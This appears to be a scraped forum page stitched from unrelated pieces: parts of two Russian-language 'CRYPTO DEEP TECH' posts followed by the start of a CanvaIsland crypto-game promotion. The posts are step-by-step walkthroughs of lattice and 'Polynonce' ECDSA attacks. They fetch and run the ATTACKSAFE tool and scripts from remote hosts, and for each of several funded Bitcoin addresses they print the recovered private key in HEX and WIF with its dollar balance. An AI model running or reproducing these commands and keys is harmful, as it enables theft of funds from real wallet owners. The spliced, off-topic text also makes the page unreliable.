запустили данную атаку из -tool lattice_attack и результат сохранился в файл SignatureRSZ.csv Теперь чтобы посмотреть успешный результат откроем файл SignatureRSZ.csv Для того чтобы рассчитать приватный ключ к Биткоин Кошельку из файла SignatureRSZ.csv мы установим SageMath !wget https://cryptodeeptech.ru/sage-9.3-Ubuntu_20.04-x86_64.tar.bz2 !tar -xf sage-9.3-Ubuntu_20.04-x86_64.tar.bz2 cd SageMath/ ls !python3 relocate-once.py !mv '/content/attacksafe' '/content/SageMath/attacksafe' !mv '/content/SignatureRSZ.csv' '/content/SageMath/SignatureRSZ.csv' ls !wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/21LatticeAttack/crack_weak_ECDSA_nonces_with_LLL.py !./sage -sh python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 249 79 > PrivateKey.txt cat PrivateKey.txt Мы получили приватный ключ к Биткоин Кошельку в HEX формате PrivKey = 0x9a52a4dbcc148f1480a6fb5311252524fc498eb508c7cb8f63bbee4b9af37941 Проверим POLYNONCE для каждой подписи ECDSA https://github.com/demining/CryptoDeepTools/blob/main/21LatticeAttack/example1/POLYNONCE.py Результат: Благодаря значение на кривой secp256k1 от Hal Finney LAMBDA и BETA раскрыл нам одинаковые первоначальные биты. Значение POLYNONCE в формате HEX нам позволяет полноценно решить проблему скрытых чисел получить приватный ключ и восстановить Биткоин Кошелек. Проверим HEX приватного ключа: !pip3 install bitcoin from bitcoin import * with open("PrivateKey.txt","r") as f: content = f.readlines() content = [x.strip() for x in content] f.close() outfile = open("PrivateKeyAddr.txt","w") for x in content: outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n") outfile.close() 9a52a4dbcc148f1480a6fb5311252524fc498eb508c7cb8f63bbee4b9af37941:19mJofzRwwwx4VmXuAXgX6pgM3qzJqi25z Откроем bitaddress и проверим: ADDR: 19mJofzRwwwx4VmXuAXgX6pgM3qzJqi25z WIF: L2PhDrYZw6fWqeLZMnMeAXvxZ47MEnepaQVLL2EazbRhqesytoQB HEX: 9a52a4dbcc148f1480a6fb5311252524fc498eb508c7cb8f63bbee4b9af37941 https://www.blockchain.com/en/explorer/addresses/btc/19mJofzRwwwx4VmXuAXgX6pgM3qzJqi25z BALANCE: $ 1015.58 Рассмотрим остальные примеры: №2 1GPZVDUyPM6qxCsJQrpJeo14WDRVLvTZ2Z 9130c5b8e92f37d3a58dcae16daa27625cc52b698a83af7c8b891f01bfa0b2af RawTX "hex": 0100000041e981df9d37a7af6f5ee77abade3ec58acbf864f942bdecb63ea2efa593e2c3391f0000006b4830450221009d8ceef05e2fa0a623811df57265a3678f902e81dc82c3862d12bbb07b90de18022036bbed961b4f8665eb3fb3047a1398a1aeae519a8e2a1a97de57863fc0cc4a380121029755a17bf76237cde9e05fc333a255b926d526a7763abe725a4f6253ebdae109ffffffff.............................. !rm HEX.txt !rm RawTX.txt !rm NoncesHEX.txt !rm PrivateKey.txt !rm SignatureRSZ.csv !rm PrivateKeyAddr.txt !wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/21LatticeAttack/example2/HEX.txt with open("HEX.txt") as myfile: listfile="\n".join(f'{line.rstrip()[:+298]}' for line in myfile) f = open("RawTX.txt", 'w') f.write("" + listfile + "" + "\n") f.close() Запустим -tool lattice_attack используя программное обеспечение “ATTACKSAFE SOFTWARE” !./attacksafe -tool lattice_attack -open RawTX.txt -save SignatureRSZ.csv Мы запустили данную атаку из -tool lattice_attack и результат сохранился в файл SignatureRSZ.csv Теперь чтобы посмотреть успешный результат откроем файл SignatureRSZ.csv !./sage -sh python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 249 79 > PrivateKey.txt cat PrivateKey.txt Мы получили приватный ключ к Биткоин Кошельку в HEX формате PrivKey = 0x00db251a1ab7cfa7679dfe61271d0af4bb9c68595178cf4c9237478eab2dba1d Проверим POLYNONCE для каждой подписи ECDSA https://github.com/demining/CryptoDeepTools/blob/main/21LatticeAttack/example2/POLYNONCE.py Результат: Благодаря значение на кривой secp256k1 от Hal Finney LAMBDA и BETA раскрыл нам одинаковые первоначальные биты. Значение POLYNONCE в формате HEX нам позволяет полноценно решить проблему скрытых чисел получить приватный ключ и восстановить Биткоин Кошелек. Проверим HEX приватного ключа: from bitcoin import * with open("PrivateKey.txt","r") as f: content = f.readlines() content = [x.strip() for x in content] f.close() outfile = open("PrivateKeyAddr.txt","w") for x in content: outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n") outfile.close() Откроем bitaddress и проверим: ADDR: 1GPZVDUyPM6qxCsJQrpJeo14WDRVLvTZ2Z WIF: KwFNhRPDpgD5X77T8x5oL628aHh9UtscwwrLjGBKE8NeLshYvAqC HEX: 00db251a1ab7cfa7679dfe61271d0af4bb9c68595178cf4c9237478eab2dba1d https://www.blockchain.com/en/explorer/addresses/btc/1GPZVDUyPM6qxCsJQrpJeo14WDRVLvTZ2Z BALANCE: $ 999.10 Рассмотрим остальные примеры: №3 18Y9nUpdtxAKTh6yaN299jfUxcpJ2ApHz 0b21368bb6e6658adf4079b5ca6e7286c6e13471acef879168e7c17809476c76 RawTX "hex": 0100000041c7a8d97168ee154550f5e43b9074e5f357a4dc6b2350c96f75e377df0a39b9fa210000006b48304502210097d6b896929d77634b8d9430bc2842209cad42bb236c408e18470b9fd86b3d6a0220684ac14228c4adaa9df819e7fc8e82cf3c4242b74e27f5dd190d63231e8a058a012102990a280aef14e545b9b076b6548a4e886476d967e447bb69efcf0b725efda04effffffff.............................. !rm HEX.txt !rm RawTX.txt !rm NoncesHEX.txt !rm PrivateKey.txt !rm SignatureRSZ.csv !rm PrivateKeyAddr.txt !wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/21LatticeAttack/example3/HEX.txt with open("HEX.txt") as myfile: listfile="\n".join(f'{line.rstrip()[:+298]}' for line in myfile) f = open("RawTX.txt", 'w') f.write("" + listfile + "" + "\n") f.close() Запустим -tool lattice_attack используя программное обеспечение “ATTACKSAFE SOFTWARE” !./attacksafe -tool lattice_attack -open RawTX.txt -save SignatureRSZ.csv Мы запустили данную атаку из -tool lattice_attack и результат сохранился в файл SignatureRSZ.csv Теперь чтобы посмотреть успешный результат откроем файл SignatureRSZ.csv !./sage -sh python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 249 79 > PrivateKey.txt cat PrivateKey.txt Мы получили приватный ключ к Биткоин Кошельку в HEX формате PrivKey = 0x80e3052532356bc701189818c095fb8a7f035fd7a5a96777df4162205e945aa5 Проверим POLYNONCE для каждой подписи ECDSA https://github.com/demining/CryptoDeepTools/blob/main/21LatticeAttack/example3/POLYNONCE.py Результат: Благодаря значение на кривой secp256k1 от Hal Finney LAMBDA и BETA раскрыл нам одинаковые первоначальные биты. Значение POLYNONCE в формате HEX нам позволяет полноценно решить проблему скрытых чисел получить приватный ключ и восстановить Биткоин Кошелек. Проверим HEX приватного ключа: from bitcoin import * with open("PrivateKey.txt","r") as f: content = f.readlines() content = [x.strip() for x in content] f.close() outfile = open("PrivateKeyAddr.txt","w") for x in content: outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n") outfile.close() Откроем bitaddress и проверим: ADDR: 18Y9nUpdtxAKTh6yaN299jfUxcpJ2ApHz WIF: L1YFTAP2X6jhi9W6ZVy2xX8H89TYwZcgSKcPLX7NmAx3n8PjqDkU HEX: 80e3052532356bc701189818c095fb8a7f035fd7a5a96777df4162205e945aa5 https://www.blockchain.com/en/explorer/addresses/btc/18Y9nUpdtxAKTh6yaN299jfUxcpJ2ApHz BALANCE: $ 1023.25 №4 12fqNTJc1wj2xfNscYHAzehD6f6sRjWBor 6e6d84bc92cd79fba2d1eee5fb47e393896d44f666a50d4948a022751e3f0989 RawTX "hex": 01000000418ff67c7d3309211ab9d9629d97bbac7730d3cbb419df4ec43d2c5fc4f81bbefb1b0000006b4830450221008c223861acf1f265547eddb04a7cf98d206643a05824e56e97c70beddd18eaf20220139a34bf077a1fdb15e716d765955203e746616dfe8bf536b86d259b5c8a09b8012103c50b5619a40a23ff6a5510238405b8efd3f8f1bc442e1a415b25078b4cbd88e3ffffffff.............................. !rm HEX.txt !rm RawTX.txt !rm NoncesHEX.txt !rm PrivateKey.txt !rm SignatureRSZ.csv !rm PrivateKeyAddr.txt !wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/21LatticeAttack/example4/HEX.txt with open("HEX.txt") as myfile: listfile="\n".join(f'{line.rstrip()[:+298]}' for line in myfile) f = open("RawTX.txt", 'w') f.write("" + listfile + "" + "\n") f.close() Запустим -tool lattice_attack используя программное обеспечение “ATTACKSAFE SOFTWARE” !./attacksafe -tool lattice_attack -open RawTX.txt -save SignatureRSZ.csv Мы запустили данную атаку из -tool lattice_attack и результат сохранился в файл SignatureRSZ.csv Теперь чтобы посмотреть успешный результат откроем файл SignatureRSZ.csv !./sage -sh python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 249 79 > PrivateKey.txt cat PrivateKey.txt Мы получили приватный ключ к Биткоин Кошельку в HEX формате PrivKey = 0x9e636a4ef1a63c4bd385b8d26d29f6394a29963f12109dbf34fef74377866a32 Проверим POLYNONCE для каждой подписи ECDSA https://github.com/demining/CryptoDeepTools/blob/main/21LatticeAttack/example4/POLYNONCE.py Результат: Благодаря значение на кривой secp256k1 от Hal Finney LAMBDA и BETA раскрыл нам одинаковые первоначальные биты. Значение POLYNONCE в формате HEX нам позволяет полноценно решить проблему скрытых чисел получить приватный ключ и восстановить Биткоин Кошелек. Проверим HEX приватного ключа: from bitcoin import * with open("PrivateKey.txt","r") as f: content = f.readlines() content = [x.strip() for x in content] f.close() outfile = open("PrivateKeyAddr.txt","w") for x in content: outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n") outfile.close() Откроем bitaddress и проверим: ADDR: 12fqNTJc1wj2xfNscYHAzehD6f6sRjWBor WIF: L2Xbaxg8QFoLn5URp7GKMyLwEN9dV5TtgpdbXYo7WDJsHZLcT898 HEX: 9e636a4ef1a63c4bd385b8d26d29f6394a29963f12109dbf34fef74377866a32 https://www.blockchain.com/en/explorer/addresses/btc/12fqNTJc1wj2xfNscYHAzehD6f6sRjWBor BALANCE: $ 406.03 №5 1L8v5aUZRzYbGKWcj9Yt6mGdd95Sy9bXjN 8a00ad0cc10d768d6d2b407f99879e556e5fc2917b619cb9a551675b7682a791 RawTX "hex": "01000000fdf4014f7e4a72ecb9a3ed21a82a42b3127da87bdfee7c10779688dd8a38977cb80ece000000006a4730440220423f7cffadd494fb0148d509e67598b3c8d7f54695ee3830184adc2af234d5cf022005ebe83773bc81c7131fd0580350a998adde20fee6fd2d1da40a0191fea8242c0121027a2250a80a31965e928afff97d1c713e7ce70e6eb7c7491404a79991bfc6b5c1ffffffff........................... !rm HEX.txt !rm RawTX.txt !rm NoncesHEX.txt !rm PrivateKey.txt !rm SignatureRSZ.csv !rm PrivateKeyAddr.txt !wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/21LatticeAttack/example5/HEX.txt with open("HEX.txt") as myfile: listfile="\n".join(f'{line.rstrip()[:+298]}' for line in myfile) f = open("RawTX.txt", 'w') f.write("" + listfile + "" + "\n") f.close() Запустим -tool lattice_attack используя программное обеспечение “ATTACKSAFE SOFTWARE” !./attacksafe -tool lattice_attack -open RawTX.txt -save SignatureRSZ.csv Мы запустили данную атаку из -tool lattice_attack и результат сохранился в файл SignatureRSZ.csv Теперь чтобы посмотреть успешный результат откроем файл SignatureRSZ.csv !./sage -sh python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 249 79 > PrivateKey.txt cat PrivateKey.txt Мы получили приватный ключ к Биткоин Кошельку в HEX формате PrivKey = 0xe2eadbde2e6a2adb6f81864cdf574dd44959717fe095486e2c0e55585594edf2 Проверим POLYNONCE для каждой подписи ECDSA https://github.com/demining/CryptoDeepTools/blob/main/21LatticeAttack/example5/POLYNONCE.py Результат: Благодаря значение на кривой secp256k1 от Hal Finney LAMBDA и BETA раскрыл нам одинаковые первоначальные биты. Значение POLYNONCE в формате HEX нам позволяет полноценно решить проблему скрытых чисел получить приватный ключ и восстановить Биткоин Кошелек. Проверим HEX приватного ключа: from bitcoin import * with open("PrivateKey.txt","r") as f: content = f.readlines() content = [x.strip() for x in content] f.close() outfile = open("PrivateKeyAddr.txt","w") for x in content: outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n") outfile.close() e2eadbde2e6a2adb6f81864cdf574dd44959717fe095486e2c0e55585594edf2:1L8v5aUZRzYbGKWcj9Yt6mGdd95Sy9bXjN Откроем bitaddress и проверим: ADDR: 1L8v5aUZRzYbGKWcj9Yt6mGdd95Sy9bXjN WIF: L4porgUmuBkMbATA6Pp7r8uqShFt2zTPNEfuPNYi1BCym4hhV8gs HEX: e2eadbde2e6a2adb6f81864cdf574dd44959717fe095486e2c0e55585594edf2 https://www.blockchain.com/en/explorer/addresses/btc/1L8v5aUZRzYbGKWcj9Yt6mGdd95Sy9bXjN BALANCE: $ 995.39 Literature: Lattice Attacks against Elliptic-Curve Signatures with Blinded Scalar Multiplication Dahmun Goudarzi , Matthieu Rivain , and Damien Vergnaud CryptoExperts, Paris, France Biased Nonce Sense: Lattice Attacks against Weak ECDSA Signatures in Cryptocurrencies Joachim Breitner and Nadia Heninger DFINITY Foundation, Zug University of California, San Diego Return of the Hidden Number Problem A Widespread and Novel Key Extraction Attack on ECDSA and DSA Keegan Ryan Minerva: The curse of ECDSA nonces Systematic analysis of lattice attacks on noisy leakage of bit-length of ECDSA nonces Ján Jančár , Vladimír Sedláček , Petr Švenda and Marek Sýs Masaryk University, Ca’ Foscari University of Venice Estimating the Effectiveness of Lattice Attacks Kotaro Abe and Makoto Ikeda School of Engineering, The University of Tokyo, Tokyo, Japan Исходный код ATTACKSAFE SOFTWARE Telegram: https://t.me/cryptodeeptech Видеоматериал: https://youtu.be/CzaHitewN-4 Источник: https://cryptodeep.ru/lattice-attack-249bits Криптоанализ
  20. CRYPTO DEEP TECH В этой статье мы опять затронем тему: “Критической уязвимости Биткоина” и на всех трех примерах применим совершенно новую атаку 2023 года “POLYNONCE ATTACK”. Самые первые упоминание об этой атаке описано в статье от “Kudelski Security”. https://research.kudelskisecurity.com/2023/03/06/polynonce-a-tale-of-a-novel-ecdsa-attack-and-bitcoin-tears/ За практическую основу мы будем брать материалы из нашей ранней статьи “Speed up secp256k1 with endomorphism” где значения на кривой secp256k1 от Hal Finney LAMBDA и BETA скрываю всю глубину неизвестности эллиптических кривых Биткоина. https://www.rapidtables.com/convert/number/hex-to-binary.html Также нам прекрасно известно, порядок кривой secp256k1 который состоит из 128 bits Binary number (4 digits): “1111” // Hex number: “F” // n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141 Speed up secp256k1 with endomorphism За теоретическую основу мы будем брать материалы: “Polynonce Attack on Bitcoin” https://attacksafe.ru/polynonce-attack-on-bitcoin 1DxzwX4qC9PsWDSAzuWbJRzEwdGx3n9CJB 929d565c386a279cf7a0382ba48cab1f72d62e7cfb3ab97b4f211d5673bc4441 RawTX 02000000019e3de154f8b473a796b9e39dd279dff1d907a4d27a1d8b23a055f97b08ad4c6e310000006b483045022100b29bdfc27ddf6bebd0e77c84b31dc1bc64b5b2276c8d4147421e96ef85467e8d02204ddd8ff0ffa19658e3b417be5f64d9c425a4d9fcd76238b8538c1d605b229baf0121027b06fe78e39ced37586c42c9ac38d7b2d88ccdd4cd1bb38816c0933f9b8db695ffffffff0169020000000000001600145fc8e854994406f93ea5c7f3abccc5d319ae2a3100000000 Загрузим HEX-данные через утилиту echo и сохраним в файл: RawTX.txt !echo '02000000019e3de154f8b473a796b9e39dd279dff1d907a4d27a1d8b23a055f97b08ad4c6e310000006b483045022100b29bdfc27ddf6bebd0e77c84b31dc1bc64b5b2276c8d4147421e96ef85467e8d02204ddd8ff0ffa19658e3b417be5f64d9c425a4d9fcd76238b8538c1d605b229baf0121027b06fe78e39ced37586c42c9ac38d7b2d88ccdd4cd1bb38816c0933f9b8db695ffffffff0169020000000000001600145fc8e854994406f93ea5c7f3abccc5d319ae2a3100000000' > RawTX.txt Чтобы реализовать атаку мы воспользуемся программным обеспечение “ATTACKSAFE SOFTWARE” www.attacksafe.ru/software Права доступа: !chmod +x attacksafe ls Применение: !./attacksafe -help -version: software version -list: list of bitcoin attacks -tool: indicate the attack -gpu: enable gpu -time: work timeout -server: server mode -port: server port -open: open file -save: save file -search: vulnerability search -stop: stop at mode -max: maximum quantity in mode -min: minimum quantity per mode -speed: boost speed for mode -range: specific range -crack: crack mode -field: starting field -point: starting point -inject: injection regimen -decode: decoding mode !./attacksafe -version Version 5.3.3. [ATTACKSAFE SOFTWARE, © 2023] Запустим список всех атак: !./attacksafe -list Выберем -tool: polynonce_attack 02000000019e3de154f8b473a796b9e39dd279dff1d907a4d27a1d8b23a055f97b08ad4c6e310000006b483045022100b29bdfc27ddf6bebd0e77c84b31dc1bc64b5b2276c8d4147421e96ef85467e8d02204ddd8ff0ffa19658e3b417be5f64d9c425a4d9fcd76238b8538c1d605b229baf0121027b06fe78e39ced37586c42c9ac38d7b2d88ccdd4cd1bb38816c0933f9b8db695ffffffff0169020000000000001600145fc8e854994406f93ea5c7f3abccc5d319ae2a3100000000 Запустим -tool polynonce_attack используя программное обеспечение “ATTACKSAFE SOFTWARE” !./attacksafe -tool polynonce_attack -open RawTX.txt -save SignatureRSZ.csv Мы запустили данную атаку из -tool polynonce_attack и результат сохранился в файл SignatureRSZ.csv Теперь чтобы посмотреть успешный результат откроем файл SignatureRSZ.csv Для того чтобы рассчитать приватный ключ к Биткоин Кошельку из файла SignatureRSZ.csv мы установим SageMath !wget https://cryptodeeptech.ru/sage-9.3-Ubuntu_20.04-x86_64.tar.bz2 !tar -xf sage-9.3-Ubuntu_20.04-x86_64.tar.bz2 cd SageMath/ ls !python3 relocate-once.py !mv '/content/attacksafe' '/content/SageMath/attacksafe' !mv '/content/SignatureRSZ.csv' '/content/SageMath/SignatureRSZ.csv' ls !wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/20PolynonceAttack/crack_weak_ECDSA_nonces_with_LLL.py !./sage -sh python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 128 4 > PrivateKey.txt cat PrivateKey.txt Мы получили приватный ключ к Биткоин Кошельку в HEX формате PrivKey = 0xf0a3e31646ce147bbd79bb6e45e6e9c8c4e51c535918c9b4cdca9528eb62172d Проверим POLYNONCE для каждой подписи ECDSA https://github.com/demining/CryptoDeepTools/blob/main/20PolynonceAttack/example1/POLYNONCE.py Результат: POLYNONCE >> 93e43392cb31d5d1f75175ee64ce16b7 efc86216627af576c29c9c52a0fd10fe POLYNONCE >> 93e43392cb31d5d1f75175ee64ce16b7 f88ff4c8a9ea4b61b1e087d0c0988826 POLYNONCE >> 93e43392cb31d5d1f75175ee64ce16b7 6849e83cd03d103bcc37aca8323c8d2f POLYNONCE >> 93e43392cb31d5d1f75175ee64ce16b7 efc86216627af576c29c9c52a0fd10fe Благодаря значение на кривой secp256k1 от Hal Finney LAMBDA и BETA раскрыл нам одинаковые первоначальные биты 128 bits так как первоначальные бит приватного ключа к Биткоин Кошельку начинается с Binary number (4 digits): "1111" // Hex number: "F" // Проверим HEX приватного ключа: !pip3 install bitcoin from bitcoin import * with open("PrivateKey.txt","r") as f: content = f.readlines() content = [x.strip() for x in content] f.close() outfile = open("PrivateKeyAddr.txt","w") for x in content: outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n") outfile.close() f0a3e31646ce147bbd79bb6e45e6e9c8c4e51c535918c9b4cdca9528eb62172d:1DxzwX4qC9PsWDSAzuWbJRzEwdGx3n9CJB Откроем bitaddress и проверим: ADDR: 1DxzwX4qC9PsWDSAzuWbJRzEwdGx3n9CJB WIF: L5HV2GiosXifcmijGCpFWdYiMRuXh4x4JVK29urGjfAWyasBYoDX HEX: f0a3e31646ce147bbd79bb6e45e6e9c8c4e51c535918c9b4cdca9528eb62172d https://www.blockchain.com/en/explorer/addresses/btc/1DxzwX4qC9PsWDSAzuWbJRzEwdGx3n9CJB BALANCE: $ 3699.40 Рассмотрим остальные примеры: №2 137a6fqt13bhtAkGZWrgcGM98NLCotszR2 c1da9d117e15883ba41539f558ac870f53865ea00f68a8ff8bc7e8a9ee67099b RawTX 010000000103ebc5c4b817124d45ad15e398ec32e9b9b7549c1fc10300ecbf36648c3cb5d42c0000006a47304402204e97dae0ab6e4eee9529f68687907c05db9037d9fbdba78dd01a3338a48d95b602207794cb7aa308243dfbdd5c20225777cd6e01bd7c4f76bf36948aa29290129c2b0121036360352efcff6a823eabb25578a29392eab4d302955fd54ece900578d2ab83b8ffffffff0162020000000000001976a914154813f71552c59487efa3b16d62bfb009dc5f1e88ac00000000 !rm RawTX.txt !rm NoncesHEX.txt !rm PrivateKey.txt !rm SignatureRSZ.csv !rm PrivateKeyAddr.txt !echo '010000000103ebc5c4b817124d45ad15e398ec32e9b9b7549c1fc10300ecbf36648c3cb5d42c0000006a47304402204e97dae0ab6e4eee9529f68687907c05db9037d9fbdba78dd01a3338a48d95b602207794cb7aa308243dfbdd5c20225777cd6e01bd7c4f76bf36948aa29290129c2b0121036360352efcff6a823eabb25578a29392eab4d302955fd54ece900578d2ab83b8ffffffff0162020000000000001976a914154813f71552c59487efa3b16d62bfb009dc5f1e88ac00000000' > RawTX.txt Запустим -tool polynonce_attack используя программное обеспечение “ATTACKSAFE SOFTWARE” !./attacksafe -tool polynonce_attack -open RawTX.txt -save SignatureRSZ.csv Мы запустили данную атаку из -tool polynonce_attack и результат сохранился в файл SignatureRSZ.csv Теперь чтобы посмотреть успешный результат откроем файл SignatureRSZ.csv !./sage -sh python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 128 4 > PrivateKey.txt cat PrivateKey.txt Мы получили приватный ключ к Биткоин Кошельку в HEX формате PrivKey = 0xff0178fa717374f7e74d43f00150748967ea04b64241ec10a10f62debb70868c Проверим POLYNONCE для каждой подписи ECDSA https://github.com/demining/CryptoDeepTools/blob/main/20PolynonceAttack/example2/POLYNONCE.py Результат: POLYNONCE >> 5220dae0c281e1115b4dd69ea3500f70 c5f6da6334586ed2bdc88a05f37bcf95 POLYNONCE >> 5220dae0c281e1115b4dd69ea3500f70 6f82fbd847c138ab48e778135e908149 POLYNONCE >> 5220dae0c281e1115b4dd69ea3500f70 5541022f8aeac81e5ce62e018d1cd722 POLYNONCE >> 5220dae0c281e1115b4dd69ea3500f70 80e88efaff419ecd84d7ded17dc548a7 Благодаря значение на кривой secp256k1 от Hal Finney LAMBDA и BETA раскрыл нам одинаковые первоначальные биты 128 bits так как первоначальные бит приватного ключа к Биткоин Кошельку начинается с Binary number (4 digits): "1111" // Hex number: "F" // Проверим HEX приватного ключа: from bitcoin import * with open("PrivateKey.txt","r") as f: content = f.readlines() content = [x.strip() for x in content] f.close() outfile = open("PrivateKeyAddr.txt","w") for x in content: outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n") outfile.close() Откроем bitaddress и проверим: ADDR: 137a6fqt13bhtAkGZWrgcGM98NLCotszR2 WIF: L5mQfFuzR3rzLtneJ7Tcv64JrHjCpK64UN4JRdGDxCUTbQ8NfHxo HEX: ff0178fa717374f7e74d43f00150748967ea04b64241ec10a10f62debb70868c https://www.blockchain.com/en/explorer/addresses/btc/137a6fqt13bhtAkGZWrgcGM98NLCotszR2 BALANCE: $ 1133.73 Рассмотрим остальные примеры: №3 1HxrEeC2X8UEcSvsemPJtTqrnbAetGWYUt fa80af660fc444d87853137506df02e5c75e8c2bf75dc44589b60356867a6d98 RawTX 01000000016eb80d35b08164302e49f88d8f86bf2827a91a5650149be38f4f73751ff41437060000006a473044022043d4c025a0f3be366a0d768c721b9b9191e0c3db6f2c6bfe34e8fb24af7f379102205a4fe2cc6944e00309c35619ff1242301b84d4728b863f97326f56dbd7a782220121027ccccf5f56ed78c2a761721ff3da0f76b792fbe4eae2ac73e7b4651bc3ef19cdffffffff01c057010000000000232103bec42e5d718b0e5b3853243c9bcf00dd671a335b0eb99fd8ca32f8d5784a9476ac00000000 !rm RawTX.txt !rm NoncesHEX.txt !rm PrivateKey.txt !rm SignatureRSZ.csv !rm PrivateKeyAddr.txt !echo '01000000016eb80d35b08164302e49f88d8f86bf2827a91a5650149be38f4f73751ff41437060000006a473044022043d4c025a0f3be366a0d768c721b9b9191e0c3db6f2c6bfe34e8fb24af7f379102205a4fe2cc6944e00309c35619ff1242301b84d4728b863f97326f56dbd7a782220121027ccccf5f56ed78c2a761721ff3da0f76b792fbe4eae2ac73e7b4651bc3ef19cdffffffff01c057010000000000232103bec42e5d718b0e5b3853243c9bcf00dd671a335b0eb99fd8ca32f8d5784a9476ac00000000' > RawTX.txt Запустим -tool polynonce_attack используя программное обеспечение “ATTACKSAFE SOFTWARE” !./attacksafe -tool polynonce_attack -open RawTX.txt -save SignatureRSZ.csv Мы запустили данную атаку из -tool polynonce_attack и результат сохранился в файл SignatureRSZ.csv Теперь чтобы посмотреть успешный результат откроем файл SignatureRSZ.csv !./sage -sh python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 128 4 > PrivateKey.txt cat PrivateKey.txt Мы получили приватный ключ к Биткоин Кошельку в HEX формате PrivKey = 0xfbc50a7158b3d9fd7fd58fe0874f20c10c650975dc118163debf442a44203fdf Проверим POLYNONCE для каждой подписи ECDSA https://github.com/demining/CryptoDeepTools/blob/main/20PolynonceAttack/example3/POLYNONCE.py Результат: POLYNONCE >> d7460c5b1a98f6d0443ae1cfe1f17814 fbc50a7158b3d9fd7fd58fe0874f20c1 POLYNONCE >> d7460c5b1a98f6d0443ae1cfe1f17814 d4de8d539655ecf0d50fd32187c3c467 POLYNONCE >> d7460c5b1a98f6d0443ae1cfe1f17814 6726aea1a6fd64d82dc657670352de72 POLYNONCE >> d7460c5b1a98f6d0443ae1cfe1f17814 89df16fd387156b39adca9a92464de18 Благодаря значение на кривой secp256k1 от Hal Finney LAMBDA и BETA раскрыл нам одинаковые первоначальные биты 128 bits так как первоначальные бит приватного ключа к Биткоин Кошельку начинается с Binary number (4 digits): "1111" // Hex number: "F" // Проверим HEX приватного ключа: from bitcoin import * with open("PrivateKey.txt","r") as f: content = f.readlines() content = [x.strip() for x in content] f.close() outfile = open("PrivateKeyAddr.txt","w") for x in content: outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n") outfile.close() Откроем bitaddress и проверим: ADDR: 1HxrEeC2X8UEcSvsemPJtTqrnbAetGWYUt WIF: L5f7p5bReuXLm3d7rFkpPyGQ1GNpiGuj8QuQ6rNCKXC9bs3J9GEY HEX: fbc50a7158b3d9fd7fd58fe0874f20c10c650975dc118163debf442a44203fdf https://www.blockchain.com/en/explorer/addresses/btc/1HxrEeC2X8UEcSvsemPJtTqrnbAetGWYUt BALANCE: $ 459.24 Literature: A Novel Related Nonce Attack for ECDSA, Marco Macchetti [Kudelski Security, Switzerland] (2023) Gallant, Robert P., Robert J. Lambert, and Scott A. Wanston. “Faster point multiplication on elliptic curves with efficient endomorphisms” . Annual International Conference on Cryptology, pp. 190–200. Springer, Berlin, Heidelberg, (2001) Hankerson, Darrell, Alfred J. Menezes, and Scott Wanston. “A Guide to Elliptic Curve Cryptography” . Computer Reviews 46, no. 1 (2005) Hal Finney. bitcointalk – “Acceleration of signature verification” . (2011) https://bitcointalk.org/index.php?topic=3238.0 Blahut, Richard E. “Cryptography and Secure Communication” . Cambridge University Press, (2014) Исходный код ATTACKSAFE SOFTWARE Telegram: https://t.me/cryptodeeptech Видеоматериал: https://youtu.be/7nKs_KHtyn4 Источник: https://cryptodeep.ru/polynonce-attack Криптоанализ
  21. CanvaIsland (CANVA) : GameFi ecosystem with Metaverse Built on Ethereum CanvaIsland is a progressive decentralized ecosystem consist of Metaverse with open world, DeFi platform,wallet and other products powered by the Ethereum blockchain. Within the Canva Island metaverse, users can create your own town, explore world, monetize their content and earn tokens. Just imagine an open world where you can identify yourself as anyone you want. You can spend time in the virtual world doing what you like and get tokens for it, appreciation from other users, and more, thanks to blockchain technology. • Join huge communities by interest or to reach common goals in our metacommunity. Have fun at the different thematic events you couldn't attend before. • Reach new heights in completely new professions. • Create the craft that allows you to earn every second CanvaIsland have been developing ecosystem since 2021, currently it includes Metaverse with NFT lands, Avatars, DeFi platform, Canva Wallet, all built around the $CANVA token. Stake, make money in the metaverse, invite your friends, participate special events and much much more awaits you at Canva Island ?Join to Canvaisland AIRDROP NFT Avatars 10,000 unique avatars from our team that will highlited you and give you many advantages. In addition, there will be integration of other PFP projects and directions into our CanvaIsland metaverse. The possibility of earning with your avatars. Earning $CANVA tokens for NFT avatars holders Participation in unique quests for Avatar owners. Participation in special giveaways Participation in NFT staking and other pools. Separated chat for avatar owners Participation in early community exhibitions, which will result in cash grants and partnerships. Unique project avatars (limited) Ability to sell NFT avatar on our marketplace, Open Sea & other CanvaIsland Islands and NFT-lands Become the owner of unique NFT-land in the CanvaIsland metaverse, build your city and monetize your content. By purchasing plots on a different islands, users will get access to the functionality of this island: Building objects, ability to sell their NFTs. Many ways to earn $CANVA tokens. Access to closed community among land owners and much more! Our first island consists of 256 lands that have been successfully sold and are currently being traded on OpenSea. A new island with 1024 lands will be added soon Genesis Island (sold out,available on OpenSea) The first island is 256 unique pieces of land in the form of NFTs on the Ethereum network, divided into 5 levels. This island makes an investment sense for the establishment of the base and development of the project. After acquiring the 